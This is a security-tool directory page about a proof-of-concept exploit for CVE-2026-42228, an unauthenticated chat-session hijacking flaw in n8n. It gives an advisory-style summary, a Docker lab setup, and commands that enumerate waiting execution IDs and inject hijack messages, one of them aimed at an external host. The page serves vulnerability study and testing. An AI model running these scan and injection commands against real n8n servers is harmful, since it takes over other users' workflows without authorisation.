Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-42228 — Proof-of-concept exploit for CVE-2026-42228, an unauthenticated chat execution hijacking vulnerability in n8n, with automated scanning and attack scripts. | Kitploit
Tools/GitHubGitHub/rudsarkar/cve-2026-42228
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubrudsarkar/cve-2026-42228

CVE-2026-42228

Proof-of-concept exploit for CVE-2026-42228, an unauthenticated chat execution hijacking vulnerability in n8n, with automated scanning and attack scripts.

View Repository
406 months agoNot yet reviewed
Share

GHSA-f77h-j2v7-g6mw — n8n Unauthenticated Chat Execution Hijacking

CVE: CVE-2026-42228
Severity: High
Affected: n8n < 1.123.32
Fixed in: n8n 1.123.32 / 2.17.4 / 2.18.1


Vulnerability Summary

chat-service.ts :: startSession() accepts an executionId from the WebSocket query string and only checks that the execution exists in the database. It never verifies the caller is authorised to access that execution.

An unauthenticated attacker who knows (or can enumerate) a valid numeric execution ID for an execution in the waiting state can:

  1. Connect to the /chat WebSocket without credentials.
  2. Receive the pending prompt being shown to a legitimate user.
  3. Inject arbitrary chat input that resumes — and hijacks — the workflow.

Pre-requisites:

  • A public Hosted Chat workflow with Authentication = None is active.
  • At least one execution is currently in the waiting state.
  • The attacker can guess or enumerate the numeric execution ID (sequential integers).

Lab Setup

Requirements

  • Docker ≥ 24 with Compose v2
  • Port 5678 free on localhost

One-command setup

chmod +x exploit.sh
./exploit.sh setup

This pulls n8nio/n8n:1.123.22 (last affected release), builds the attacker image, and starts the vulnerable target at http://localhost:5678.


End-to-End Exploit Walkthrough

1. Configure the vulnerable target

  1. Open http://localhost:5678 and complete the setup wizard (any credentials).
  2. Create a new workflow.
  3. Add a Chat Trigger node → set Authentication = None.
  4. Add a Wait node (or any node that pauses for user input) after the trigger.
  5. Activate the workflow.

2. Trigger a waiting execution

Open the public Chat URL shown in the Chat Trigger node and send a message. The execution will enter the waiting state, paused for the next chat reply.

3. Scan for waiting executions (unauthenticated)

./exploit.sh scan
# or specify a range:
./exploit.sh scan 1 500

Expected output when a vulnerable execution is found:

[+] WAITING execution found! exec_id=7
    Server said: 'n8n|continue'
    Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
    [!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'

4. Attack a known execution ID directly

./exploit.sh attack 7
# or with a custom payload:
./exploit.sh attack 7 "custom injected message"

5. Observe the hijack

Back in the n8n editor, the workflow resumes with the attacker's injected message instead of the legitimate user's input.


Manual Docker Commands

# Build the attacker image
docker build -t n8n-chat-hijack-poc .

# Scan (attaches to the shared lab network)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --start-id 1 --end-id 200

# Attack a specific execution
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
    n8n-chat-hijack-poc \
    --target http://n8n-vuln:5678 \
    --exec-id 7 --inject "PWNED"

# Against an external target (no network flag needed)
docker run --rm n8n-chat-hijack-poc \
    --target https://n8n.example.com \
    --exec-id 42 --inject "PWNED"

Cleanup

./exploit.sh clean

Stops containers and removes volumes (including the SQLite database).


Files

FileDescription
poc_GHSA-f77h-j2v7-g6mw.pyStandalone Python PoC
DockerfileAttacker container image
docker-compose.ymlFull lab: vulnerable n8n + attacker
exploit.shHelper script for common operations

References

  • GHSA-f77h-j2v7-g6mw
  • n8n release 1.123.32 changelog
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    985
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    571
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    341
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    309

Explore all tools

Browse our collection of tools

View all tools →